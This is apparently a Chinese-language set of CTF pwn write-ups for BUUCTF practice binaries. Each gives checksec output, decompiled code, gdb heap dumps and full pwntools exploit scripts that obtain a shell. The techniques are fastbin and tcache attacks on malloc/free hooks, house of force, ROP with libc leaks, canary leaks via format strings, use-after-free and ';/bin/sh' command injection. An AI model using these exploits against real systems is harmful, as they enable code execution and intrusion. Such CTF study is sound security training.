0x55de8a864120: 0x0000000000000000 0x0000000000000000
0x55de8a864130: 0x0000000000000000 0x0000000000000000
0x55de8a864140: 0x0000000000000000 0x0000000000000000
0x55de8a864150: 0x0000000000000000 0x0000000000000000

3.2 fastbin attack

最后再修改malloc_hook-35的地址(mallco_hook的参数要偏移,且偏移后的地址不能为0)为exec_binsh(one_gadget)

简言之就是hook->onegadget

#code:
Free(1)
Fill(0,"a"*0x60+p64(0)+p64(0x71)+p64(malloc_hook-35)+p64(0))
GDB()
#堆溢出覆盖chunk1的fd,使得下一块chunk在malloc_hook-35的地方
Allocate(0x60)
GDB()

3.4 覆盖chunk1的fd

heap

0x55a4b068b000 FASTBIN {  <---chunk 0
prev_size = 0,
size = 113,
fd = 0x6161616161616161,
bk = 0x6161616161616161,
fd_nextsize = 0x6161616161616161,
bk_nextsize = 0x6161616161616161
}
0x55a4b068b070 FASTBIN { <---chunk1
prev_size = 0,
size = 113,
fd = 0x7f038a23caed <_IO_wide_data_0+301>,
malloc_hook-35
bk = 0x0,
fd_nextsize = 0x6161616161616161,
bk_nextsize = 0x6161616161616161
}
0x55a4b068b0e0 FASTBIN {
prev_size = 0,
size = 113,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x55a4b068b150 {
prev_size = 0,
size = 0,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}

bins

fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x7ff5da1deaed (_IO_wide_data_0+301) ◂— 0xf5d9e9fe20000000
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty

stack

pwndbg> x/gx 0x7ff5da1deb10-35 
0x7ff5da1deaed <_IO_wide_data_0+301>: 0xf5da1dd260000000
0x7ff5da1deaf5 <_IO_wide_data_0+309>: 0x000000000000007f
0x7ff5da1deafd: 0xf5d9e9fe20000000
0x7ff5da1deb05 <__memalign_hook+5>: 0xf5d9e9fa0000007f
0x7ff5da1deb0d <__realloc_hook+5>: 0x000000000000007f
0x7ff5da1deb15 <__malloc_hook+5>: 0x0000000000000000
0x7ff5da1deb1d: 0x0000000000000000
0x7ff5da1deb25 <main_arena+5>: 0x0000000000000000

3.5 填入onegadget

heap

0x55efd712d000 FASTBIN {
prev_size = 0,
size = 113,
fd = 0x6161616161616161,
bk = 0x6161616161616161,
fd_nextsize = 0x6161616161616161,
bk_nextsize = 0x6161616161616161
}
0x55efd712d070 FASTBIN {
prev_size = 0,
size = 113,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x55efd712d0e0 FASTBIN {
prev_size = 0,
size = 113,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x55efd712d150 {
prev_size = 0,
size = 0,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}

gdb

pwndbg> x/gx 0x7f0f7c16ab10-35
0x7f0f7c16aaed <_IO_wide_data_0+301>: 0x0f7c169260000000
0x7f0f7c16aaf5 <_IO_wide_data_0+309>: 0x000000000000007f
0x7f0f7c16aafd: 0x4141414141414141
0x7f0f7c16ab05 <__memalign_hook+5>: 0x4141414141414141
0x7f0f7c16ab0d <__realloc_hook+5>: 0x0f7bdeb26a414141
0x7f0f7c16ab15 <__malloc_hook+5>: 0x000000000000007f
0x7f0f7bda6000+0x4526a=0x7f0f7bdeb26a
=0x7f0f7c16ab0d <__realloc_hook+5>的数值

4.EXP

from pwn import *
context.log_level = 'debug'
#p = remote("node3.buuoj.cn",26611)
libc = ELF("./libc-2.23.so")
p = process("./babyheap_0ctf_2017")

def Allocate(size):
p.sendlineafter("Command: ","1")
p.sendlineafter("Size: ",str(size))

def Fill(idx,content):
p.sendlineafter("Command: ","2")
p.sendlineafter("Index: ",str(idx))
p.sendlineafter("Size: ",str(len(content)))
p.sendlineafter("Content: ",content)

def Free(idx):
p.sendlineafter("Command: ","3")
p.sendlineafter("Index: ",str(idx))

def Dump(idx):
p.recvuntil("Command:")
p.sendline("4")
p.recvuntil("Index:")
p.sendline(str(idx))
p.recvuntil('Content: \n')
return p.recvline()

def GDB():
context.terminal = ['tmux','splitw','-h']
gdb.attach(p)

Allocate(0x60)
Allocate(0x30)
Fill(0,"a"*0x60+p64(0)+p64(0x71))
Allocate(0x100)
Fill(2,"a"*0x20+p64(0)+p64(0x71))
Free(1)
Allocate(0x60)
Fill(1,"a"*0x30+p64(0)+p64(0x111))
Allocate(0x60)
Free(2)
print Dump(1)
leak = u64(Dump(1)[-25:-17])
print "leak:"+hex(leak)

base=leak-0x3c4b78
malloc_hook=base+libc.sym['__malloc_hook']
print hex(malloc_hook)
Free(1)
Fill(0,"a"*0x60+p64(0)+p64(0x71)+p64(malloc_hook-35)+p64(0))
Allocate(0x60)
Allocate(0x60)
Fill(2,"A"*(35-8-8)+p64(base+0x4526a))
Allocate(0x10)
p.interactive()

bbys_tu_2016

1.checksec

Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

2.IDA

main

int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp+14h] [ebp-Ch]

puts("This program is hungry. You should feed it.");
__isoc99_scanf("%s", &v4);
puts("Do you feel the flow?");
return 0;
}

printFlag

int printFlag()
{
char s; // [esp+1Ah] [ebp-3Eh]
FILE *stream; // [esp+4Ch] [ebp-Ch]

stream = fopen("flag.txt", "r");
fgets(&s, 50, stream);
puts(&s);
fflush(stdout);
return fclose(stream);
}

简单栈溢出

3.EXP

from pwn import *
context.log_level = "debug"
p = remote("node3.buuoj.cn",28634)
elf = ELF("./bbys_tu_2016")
print_flag=elf.sym["printFlag"]

payload = 'a'*(0xc+8+4)+p32(print_flag)
p.sendline(payload)
print p.recv()
p.interactive()

bcloud_bctf_2016

1.checksec

Arch:     i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

2.IDA

sub_80487A1

unsigned int sub_80487A1()
{
char s; // [esp+1Ch] [ebp-5Ch]
char *v2; // [esp+5Ch] [ebp-1Ch]
unsigned int v3; // [esp+6Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
memset(&s, 0, 0x50u);
puts("Input your name:");
safe_read((int)&s, 0x40, 10);
v2 = (char *)malloc(0x40u);
dword_804B0CC = (int)v2;
strcpy(v2, &s);
start_line((int)v2);
return __readgsdword(0x14u) ^ v3;
}

s的最大为0x40v2最大也为0x40

sub_8048779

int __cdecl sub_8048779(int a1)
{
printf("Hey %s! Welcome to BCTF CLOUD NOTE MANAGE SYSTEM!\n", a1);
return puts("Now let's set synchronization options.");
}

这里就可以泄露 v2 指针的地址

sub_804884E

unsigned int sub_804884E()
{
char s; // [esp+1Ch] [ebp-9Ch]
char *v2; // [esp+5Ch] [ebp-5Ch]
int v3; // [esp+60h] [ebp-58h]
char *v4; // [esp+A4h] [ebp-14h]
unsigned int v5; // [esp+ACh] [ebp-Ch]

v5 = __readgsdword(0x14u);
memset(&s, 0, 0x90u);
puts("Org:");
safe_read((int)&s, 0x40, '\n');
puts("Host:");
safe_read((int)&v3, 0x40, '\n');
v4 = (char *)malloc(0x40u);
v2 = (char *)malloc(0x40u);
dword_804B0C8 = (int)v2;
dword_804B148 = (int)v4;
strcpy(v4, (const char *)&v3);
strcpy(v2, &s);
puts("OKay! Enjoy:)");
return __readgsdword(0x14u) ^ v5;
}

因为这里是32位程序,而且 sv2 的栈空间相差64,刚好可以覆盖 v2 的低地。然后到这一步的话, top chunk 又刚好在 v2 的下方,strcpy(v2, &s);0x40个字符 + v2 地址 + v3 内容一同复制进v2可以通过溢出覆盖 top chunksize域,符合了 HOF 的第一个条件 能够以溢出等方式控制到 top chunk 的 size 域

+-------------+----+--------------------------------+
| 0000009C s | s | safe_read((int)&s, 0x40, '\n');|
+---------------------------------------------------+
| 0000005C | v2 | v2 = (char *)malloc(0x40u); |
+---------------------------------------------------+
| 00000058 | v3 |safe_read((int)&v3, 0x40, '\n');|
+---------------------------------------------------+
strcpy(v2, &s);

3.思路

  1. 利用初始化名字处的漏洞泄漏堆的基地址。。
  2. 利用 house of forcetop chunk 分配至全局的 0x0804B0A0&notesize-8 处,当再次申请内存时,便返回notesize地址处的内存,从而我们就可以控制所有note的大小以及对应的地址了。
  3. 修改前三个 note 的大小为16,并修改其指针为 free@gotnotesizelibc_start
  4. free@got 修改为 puts@plt
  5. 泄漏 libc_start 地址。
  6. 再次修改另外一个 free@got 项为 system 地址,从而拿到shell。

4.gdb

0x1 leak_addr

0x804c000:	0x0000004900000000	0x6161616161616161
0x804c010: 0x6161616161616161 0x6161616161616161
0x804c020: 0x6161616161616161 0x6161616161616161
0x804c030: 0x6161616161616161 0x6161616161616161
0x804c040: 0x6161616161616161 0x00020f000804c008

0x00020f000804c008发现距离地址相差 8,所以之后要去减去

#code:
sh.sendafter("Input your name:\n",'a'*0x40)
sh.recvuntil('a'*0x40)
leak = u32(sh.recv(4)) - 8
log.success("leak addr > 0x%x",leak)
gdb.attach(sh)
#gdb
0x9e89000: 0x0000004900000000 0x6161616161616161
0x9e89010: 0x6161616161616161 0x6161616161616161
0x9e89020: 0x6161616161616161 0x6161616161616161
0x9e89030: 0x6161616161616161 0x6161616161616161
0x9e89040: 0x6161616161616161 0x00020f0009e89008
0x9e89050: 0x0000000000000000 0x0000000000000000
#gef
gef➤ heap chunks
Chunk(addr=0x9e89008, size=0x48, flags=PREV_INUSE)
··········································
Chunk(addr=0x9e89050, size=0x48, flags=PREV_INUSE)
··········································
Chunk(addr=0x9e89098, size=0x48, flags=PREV_INUSE)
··········································
Chunk(addr=0x9e890e0, size=0x20e70, flags=PREV_INUSE) ← top chunk
··········································
#计算
>>>hex(0x9e890e0 - 0x9e89008)
0xd8 #得到top_chunk相对偏移

0x2 hof

#code:
sh.sendafter("Org:\n",'a'*64)
sh.sendlineafter("Host:\n",p32(0xffffffff))
log.success("top chunk > 0x%x",top_chunk)
#gdb
0x9e89008: 0x6161616161616161 0x6161616161616161
0x9e89018: 0x6161616161616161 0x6161616161616161
0x9e89028: 0x6161616161616161 0x6161616161616161
0x9e89038: 0x6161616161616161 0x6161616161616161
0x9e89048: 0x0000004909e89008 0x00000000ffffffff
0x9e89058: 0x0000000000000000 0x0000000000000000
0x9e89068: 0x0000000000000000 0x0000000000000000
0x9e89078: 0x0000000000000000 0x0000000000000000
0x9e89088: 0x0000000000000000 0x0000004900000000
0x9e89098: 0x6161616161616161 0x6161616161616161
0x9e890a8: 0x6161616161616161 0x6161616161616161
0x9e890b8: 0x6161616161616161 0x6161616161616161
0x9e890c8: 0x6161616161616161 0x6161616161616161
0x9e890d8: 0xffffffff09e89098 0x0000000000000000
0x9e890e8: 0x0000000000000000 0x0000000000000000
0x9e890f8: 0x0000000000000000 0x0000000000000000
#gef
gef➤ heap chunks
Chunk(addr=0x9e89008, size=0x48, flags=PREV_INUSE)
Chunk(addr=0x9e89050, size=0x48, flags=PREV_INUSE)
Chunk(addr=0x9e89098, size=0x48, flags=PREV_INUSE)
Chunk(addr=0x9e890e0, size=0xfffffff8, flags=PREV_INUSE|IS_MMAPPED|NON_MAIN_ARENA) ← top chunk

top chunksize域被改变了

0x3 迁移top chunk

#code:
notesize_addr = 0x0804B0A0
notelist_addr = 0x0804B120
target = notesize_addr - 8
offset = target - top_chunk - 8
log.success("offset > "+hex(offset))
add(offset,"aaaa")
#terminal
[+] 1st chunk addr > 0x9f8c000
[+] top chunk > 0x9f8c0d8
[+] offset > -0x1f41048
#pwndbg
0x804b098 PREV_INUSE {
prev_size = 0,
size = 32772153,
fd = 0xfe0befb8,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}

发现多了这个 chunk ,地址=notesize_addr - 8
说明迁移成功,那么下一次就会分配chunk到这里来

0x4 free@got泄露

#code:
payload = p32(16) * 3
payload += (notelist_addr - notesize_addr - 12) * 'a'
payload += p32(elf.got['free']) + p32(elf.got['atoi']) * 2
add(1000,payload)
#pwndbg
0x804b098: 0x00000000 0x01f41039 0xfe0befb8 0x00000000
0x804b0a8: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b0b8: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b0c8: 0x09f8c098 0x09f8c008 0x00000000 0x00000000

5.EXP

from pwn import *
#context.log_level = "debug"
context.arch = "i386"
elf = ELF("./bcloud_bctf_2016")
libc = ELF("/home/joe1sn/libc/32/libc-2.23.so")
sh = remote("node3.buuoj.cn",29429)

def add(size,text):
sh.sendlineafter(">>","1")
sh.sendlineafter(":",str(size))
if size > 0:
sh.recvuntil(":")
sh.send(text)

def edit(idx,text):
sh.sendlineafter(">>","3")
sh.sendlineafter(":",str(idx))
sh.sendafter(":",text)

def delete(idx):
sh.sendlineafter(">>","4")
sh.sendlineafter(":",str(idx))

if __name__ == '__main__':

#------------------leak------------------
sh.sendafter(":","b" * 0x40)
sh.recvuntil("b" * 0x40)
heap_base = u32(sh.recv(4)) - 8
top_chunk = heap_base + 0xd8
log.success("1st chunk > "+hex(heap_base))
log.success("top chunk > "+hex(top_chunk))

#------------------hof------------------
sh.recvuntil(":")
sh.send(0x40 * "a")
sh.recvuntil(":")
sh.sendline("\xff" * 0x4)

#------------------top chunk------------------
notesize_addr = 0x0804B0A0
notelist_addr = 0x0804B120
offset = notesize_addr - top_chunk - 0x10
add(offset,'')

#------free@got,atoi@got,atoi@got------
payload = p32(0x400) * 10
payload = payload.ljust(0x0804B120 - 0x0804B0A0,'\x00')
payload += p32(elf.got['free'])
payload += p32(notesize_addr)
payload += p32(elf.got['__libc_start_main'])
add(0x400,payload + "\n")
edit(0,p32(elf.plt['puts']) + "\n")
delete(2)
#------------------leak all------------------
__libc_start_main = u32(sh.recvuntil('\xf7')[-4:])
base = __libc_start_main - libc.symbols['__libc_start_main']
system = base + libc.symbols['system']
binsh = base + libc.search("/bin/sh\x00").next()
log.success('libc base addr: ' + hex(base))
log.success('system addr: ' + hex(system))
log.success('/bin/sh addr: ' + hex(binsh))

#------------------attack------------------
edit(0,p32(system) + "\n")
edit(1,payload + p32(binsh) + "\n")
delete(3)
sh.interactive()

bjdctf_2020_babyrop

1.checksec

Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

2.IDA

vuln

ssize_t vuln()
{
char buf; // [rsp+0h] [rbp-20h]

puts("Pull up your sword and tell me u story!");
return read(0, &buf, 0x64uLL);
}

溢出+libc leak

3.EXP

from pwn import *
#from LibcSearcher import *
context.log_level = "debug"
p = remote("node3.buuoj.cn",29594)
elf = ELF("./bjdctf_2020_babyrop")
libc = ELF("./libc-2.23.so")

puts_plt = elf.plt["puts"]
read_got = elf.got["read"]
main_addr = elf.sym["main"]
pop_rdi_ret = 0x0000000000400733

payload = "a"*(0x20+8)
payload += p64(pop_rdi_ret)+p64(read_got)
payload += p64(puts_plt)+p64(main_addr)
p.recvuntil("story!\n")
p.sendline(payload)

leak_addr = u64(p.recv(6).ljust(8,"\x00"))
#leak_addr = u64(p.recv(0x6))
libc_base = leak_addr-libc.sym["read"]
sys_addr = libc_base+libc.sym["system"]
binsh = libc_base+libc.search("/bin/sh").next()
'''
libc = LibcSearcher("read",leak_addr)
libc_base = leak_addr-libc.dump("read")
sys_addr = libc_base+libc.dump("system")
binsh = libc_base+libc.dump("str_bin_sh")
'''
log.info("libc base=>%x",libc_base)
log.info("system addr=>%x",sys_addr)
log.info("/bin/sh=>%x",binsh)

payload = 'a'*(0x20+8)
payload += p64(pop_rdi_ret)+p64(binsh)
payload += p64(sys_addr)
p.sendlineafter("story!",payload)
p.interactive()

bjdctf_2020_babyrop2

1.checksec

Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

2.IDA

gift

unsigned __int64 gift()
{
char format; // [rsp+0h] [rbp-10h]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("I'll give u some gift to help u!");
__isoc99_scanf("%6s", &format);
printf(&format, &format);
puts(byte_400A05);
fflush(0LL);
return __readfsqword(0x28u) ^ v2;
}

vuln

unsigned __int64 vuln()
{
char buf; // [rsp+0h] [rbp-20h]
unsigned __int64 v2; // [rsp+18h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("Pull up your sword and tell me u story!");
read(0, &buf, 0x64uLL);
return __readfsqword(0x28u) ^ v2;
}

从gift利用字符串格式化漏洞泄露canary,再利用vuln执行漏洞

3.EXP

from pwn import *
from LibcSearcher import *
context.log_level = "debug"
elf= ELF("./bjdctf_2020_babyrop2")
#p = process("./bjdctf_2020_babyrop2")
p = remote("node3.buuoj.cn","27381")

p.sendlineafter("to help u!\n","%7$p")
p.recvuntil("0x")
canary=int(p.recv(16),16)
success("Canary=>0x%x",canary)

pop_rdi_ret = 0x0400993

payload = 'a'*0x18+p64(canary)+'a'*8
payload += p64(pop_rdi_ret)+p64(elf.got["puts"])
payload += p64(elf.plt["puts"])+p64(elf.sym["vuln"])
p.sendlineafter("tell me u story!",payload)

leak = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
libc = LibcSearcher("puts",leak)
base = leak-libc.dump("puts")
sys_addr = base + libc.dump("system")
binsh = base+ libc.dump("str_bin_sh")

payload='a'*0x18+p64(canary)+p64(0)
payload+=p64(pop_rdi_ret)+p64(binsh)
payload+=p64(sys_addr)

p.sendlineafter("!",payload)
p.interactive()

bjdctf_2020_babystack

1.checksec

Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

2.IDA

main

int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [rsp+0h] [rbp-10h]
size_t nbytes; // [rsp+Ch] [rbp-4h]

setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
LODWORD(nbytes) = 0;
puts("**********************************");
puts("* Welcome to the BJDCTF! *");
puts("* And Welcome to the bin world! *");
puts("* Let's try to pwn the world! *");
puts("* Please told me u answer loudly!*");
puts("[+]Are u ready?");
puts("[+]Please input the length of your name:");
__isoc99_scanf("%d", &nbytes);
puts("[+]What's u name?");
read(0, &buf, (unsigned int)nbytes);
return 0;
}

back_door

signed __int64 backdoor()
{
system("/bin/sh");
return 1LL;
}

nbytes可以被我们控制,从而造成栈溢出

3.EXP

from pwn import *
context.log_level = "debug"
p = remote("node3.buuoj.cn",25325)
p.sendlineafter(":",str(0x100))
p.sendlineafter("?",'a'*0x18+p64(0x04006EA))
p.interactive()

bjdctf_2020_babystack2

1.checksec

Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

2.IDA

main

int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [rsp+0h] [rbp-10h]
size_t nbytes; // [rsp+Ch] [rbp-4h]

setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
LODWORD(nbytes) = 0;
puts("**********************************");
puts("* Welcome to the BJDCTF! *");
puts("* And Welcome to the bin world! *");
puts("* Let's try to pwn the world! *");
puts("* Please told me u answer loudly!*");
puts("[+]Are u ready?");
puts("[+]Please input the length of your name:");
__isoc99_scanf("%d", &nbytes);
if ( (signed int)nbytes > 10 )
{
puts("Oops,u name is too long!");
exit(-1);
}
puts("[+]What's u name?");
read(0, &buf, (unsigned int)nbytes);
return 0;
}

(signed int)nbytes为正整数,所以存在整数溢出漏洞

backdoor

signed __int64 backdoor()
{
system("/bin/sh");
return 1LL;
}

3.EXP

from pwn import *
context.log_level = "debug"
elf = ELF("./bjdctf_2020_babystack2")
#p = process("./bjdctf_2020_babystack2")
p = remote("node3.buuoj.cn","28949")

back_door = 0x0400726

payload = 'a'*0x18+p64(back_door)
p.sendlineafter(":\n",'-1')
p.sendlineafter("?\n",payload)
p.interactive()

bjdctf_2020_router

1.checksec

Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

2.运行

Welcome to BJDCTF router test program!
1.ping
2.test
3.leave comments
4.root
5.exit
Please input u choose:

根本不用EXP,考察的是linux的 命令是利用;分割的

3.EXP

from pwn import *
p = process('./bjdctf_2020_router')
elf = ELF('./bjdctf_2020_router')
context.log_level = 'debug'

p.recv()
p.sendline("1")
p.recv()
#p.sendline(';cat flag')
p.sendline(';/bin/sh')
p.interactive()

bjdctf_2020_YDSneedGrirlfriend

1.checksec

Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

2.IDA

基本功能

def add(sz,text):
sh.sendlineafter("Your choice :","1")
sh.sendlineafter("Her name size is :",str(sz))
sh.sendlineafter("Her name is :",text)

def delete(idx):
sh.sendlineafter("Your choice :","2")
sh.sendlineafter("Index :",str(idx))

def show(idx):
sh.sendlineafter("Your choice :","3")
sh.sendlineafter("Index :",str(idx))

del_girlfriend

if ( v1 >= 0 && v1 < count )
{
if ( girlfriendlist[v1] ) // UAF
{
free(*((void **)girlfriendlist[v1] + 1)); // free(chunk)
free(girlfriendlist[v1]); // free(size)
puts("Success");
}
}

释放后指针没有置0,造成 use after free

print_girlfriend_name

int __fastcall print_girlfriend_name(__int64 a1)
{
return puts(*(const char **)(a1 + 8));
}

位于所申请的chunk中,可以通过之前的uaf漏洞将其改写

back_door

int backdoor()
{
puts("YDS get N+ girlfriend!");
return system("/bin/sh");
}

直接覆盖print_girlfriend_nameback_door 就行了

3.EXP

from pwn import *
elf = ELF('bjdctf_2020_YDSneedGrirlfriend')
libc = ELF("/home/joe1sn/libc/64/libc-2.23.so")
sh = 0

def add(sz,text):
sh.sendlineafter("Your choice :","1")
sh.sendlineafter("Her name size is :",str(sz))
sh.sendlineafter("Her name is :",text)

def delete(idx):
sh.sendlineafter("Your choice :","2")
sh.sendlineafter("Index :",str(idx))

def show(idx):
sh.sendlineafter("Your choice :","3")
sh.sendlineafter("Index :",str(idx))

def main(ip,port,mode,debug):
global sh
if debug==0:
context.log_level = "debug"
else:
pass
if mode==0:
sh = process("bjdctf_2020_YDSneedGrirlfriend")
else:
sh = remote(ip,port)
add(0x60,'aaaa')#0
add(0x60,'bbbb')#1

delete(0)
delete(1)

add(0x10,p64(0x400B9C))
show(0)
sh.interactive()

if __name__ == '__main__':
main("node3.buuoj.cn","27659",1,1)

ciscn_2019_c_1

环境:Ubuntu18

1.checksec

Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

2.IDA

main

int __cdecl main(int argc, const char **argv, const char **envp)
{
FILE *v3; // rdi

setvbuf(_bss_start, 0LL, 2, 0LL);
v3 = stdin;
setvbuf(stdin, 0LL, 2, 0LL);
func(v3, 0LL);
return 0;
}

func

int func()
{
int result; // eax
char v1; // [rsp+0h] [rbp-30h]
float v2; // [rsp+2Ch] [rbp-4h]

v2 = 0.0;
puts("Let's guess the number.");
gets(&v1);
if ( v2 == 11.28125 )
result = system("cat /flag");
else
result = puts("Its value should be 11.28125");
return result;
}

string

LOAD:0000000000400238	0000001C	C	/lib64/ld-linux-x86-64.so.2
LOAD:0000000000400399 0000000A C libc.so.6
LOAD:00000000004003A3 00000005 C gets
LOAD:00000000004003A8 00000005 C puts
LOAD:00000000004003AD 00000006 C stdin
LOAD:00000000004003B3 00000007 C stdout
LOAD:00000000004003BA 00000007 C system
LOAD:00000000004003C1 00000008 C setvbuf
LOAD:00000000004003C9 00000012 C __libc_start_main
LOAD:00000000004003DB 0000000F C __gmon_start__
LOAD:00000000004003EA 0000000C C GLIBC_2.2.5
.rodata:00000000004007B4 00000018 C Let's guess the number.
.rodata:00000000004007CC 0000000A C cat /flag
.rodata:00000000004007D6 0000001D C Its value should be 11.28125
.eh_frame:000000000040089F 00000006 C ;*3$\"

v1的栈空间覆盖到v2

3.EXP

from pwn import *
#context.log_level = 'debug'
p = remote("node3.buuoj.cn",26782)
number_addr = 0x41348000
payload = '\x00'*(0x30-4) + p64(number_addr)
p.sendlineafter("Let's guess the number.\n",payload)
print p.recv()

number是地址下面保存的16进制值

ciscn_2019_en_2

和ciscn_2019_c_1一样

ciscn_2019_en_3

1.checksec

Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled

2.IDA

main

puts("Welcome to the story kingdom.");
puts("What's your name?");
read(0, &buf, 0x20uLL);
_printf_chk(1LL, (__int64)&buf);
puts("Please input your ID.");

字符串格式化漏洞,可以从这里泄露libc base

只有两个有效功能

def add(sz,text):
p.sendlineafter(": ","1")
p.sendlineafter(": ",str(sz))
p.sendlineafter(": ",text)

def delete(idx):
p.sendlineafter(": ","4")
p.sendlineafter(": ",str(idx))

main

puts("Welcome to the story kingdom.");
puts("What's your name?");
read(0, &buf, 0x20uLL);
_printf_chk(1LL, &buf);
puts("Please input your ID.");
read(0, &s, 8uLL);
puts(&s);

字符串格式化漏洞,printf_chk函数,导致你在使用%a$p时需要同时使用%(1到a)$p才可以,并且禁用了%n,所以利用格式化字符串写的这条路基本被pass掉,只有可能进行一些简单的leak

delete

unsigned __int64 delete()
{
int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("Please input the index:");
_isoc99_scanf("%d", &v1);
free(qword_202068[2 * v1]);
puts("Done!");
return __readfsqword(0x28u) ^ v2;
}

指针未清0

3.GDB

#code:
p.sendlineafter('name?','aaaaaa')
gdb.attach(p)
p.sendlineafter('ID.','2'*8)
leak = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
log.success('leak addr => 0x%x',leak)
#gdb
0x7fffa19cf4b0 ◂— 0x3232323232323232 ('22222222')
0x7fffa19cf4b8 —▸ 0x7fc2db859237 (setbuffer+231) ◂— test dword ptr [rbx], 0x8000
0x7fffa19cf4c0 ◂— 0xa616161616161 /* 'aaaaaa\n' */

这个时候0x7fffa19cf4b0被填充完全,接着输出就会输出0x7fffa19cf4b8的内容,0x7fffa19cf4b8的内容就是0x7fc2db859237 (setbuffer+231),所以得出这时的libc_now=0x7fc2db859237 - 231,那么libc base = libc_now - libc.sym["setbuffer"]

接着就是填入/bin/sh,改_free_hooksystem

4.EXP

from pwn import *
context.log_level = "debug"
elf = ELF("./ciscn_2019_en_3")
libc = ELF("/mnt/d/CTF/Question/BUUCTF/libc/64/libc-2.27.so")
#p = process("./ciscn_2019_en_3")
p = remote("node3.buuoj.cn","27106")

def add(sz,text):
p.sendlineafter("choice:","1")
p.sendlineafter(": \n",str(sz))
p.sendlineafter(": \n",text)

def delete(idx):
p.sendlineafter("choice:","4")
p.sendlineafter(":\n",str(idx))

if __name__ == '__main__':
p.sendlineafter('name?','aaaaaa')
p.sendlineafter('ID.','2'*8)
libcbase=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-231-libc.sym['setbuffer']
free_hook=libcbase+libc.sym['__free_hook']
system=libcbase+libc.sym['system']
log.success('libc base => 0x%x',libcbase)
log.success('free hook => %x',free_hook)
log.success('sys addr => 0x%x',system)
add(0x20,'aaaa')#0
add(0x20,'/bin/sh\x00')
delete(0)
delete(0) #double free
add(0x20,p64(free_hook))
add(0x20,'dd')
add(0x20,p64(system))
delete(1)
p.interactive()

ciscn_2019_es_1

1.checksec

Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

2.IDA

def add(sz,name,call):
p.sendlineafter("choice:",'1')
p.sendlineafter("Please input the size of compary's name\n",str(sz))
p.sendlineafter("please input name:",name)
p.sendlineafter("please input compary call:",call)

def show(idx):
p.sendlineafter("choice:",'2')
p.sendlineafter("index:\n",str(idx))

def free(idx):
p.sendlineafter("choice:",'3')
p.sendlineafter("index:\n",str(idx))

add

puts("please input name:");
read(0, (void *)*heap_addr_4080[heap_number], (unsigned int)size);

这个可以直接让我们写到chunk->fd的位置

call

 if ( heap_addr_4080[v1] )
free((void *)*heap_addr_4080[v1]);
puts("You try it!");
puts("Done");
return __readfsqword(0x28u) ^ v2;
}

这里没有释放后没有清零,use after free

思路

  • 1.利用show函数泄露libc
  • 2.程序里面有个uaf,利用这个进行double_free来修改tcache里面的fd指针,从而将free_hook改为_libc_system
  • 3.free掉我们提前埋下的**/bin/sh**的chunk,从而getshell

3.gdb

利用show函数泄露libc

add(0x410,'aaaa','123')
add(0x20,"bbbb",'124')
add(0x20,"/bin/sh\x00",'125')

free(0)
show(0)

leak.png

2.程序里面有个uaf,利用这个进行double_free来修改tcache里面的fd指针,从而将free_hook改为_libc_system

  • double free
free(1)
free(1)

​ gdb

pwndbg> bin
tcachebins
0x30 [ 2]: 0x55ce4a46d6c0 ◂— 0x55ce4a46d6c0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x55ce4a46d270 —▸ 0x7ff520e96ca0 (main_arena+96) ◂— 0x55ce4a46d270
smallbins
empty
largebins
empty
  • 修改free_hook

    add(0x28,p64(free_hook),'126')
    add(0x28,'111','127')
    add(0x28,p64(system),'128')

    edit.png

4.EXP

这里是改freesystem,所以就必须先libc leak,

from pwn import *
elf = ELF("ciscn_s_6")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
sh = 0

def add(sz,name,call):
sh.sendlineafter("choice:",'1')
sh.sendlineafter("Please input the size of compary's name\n",str(sz))
sh.sendlineafter("please input name:",name)
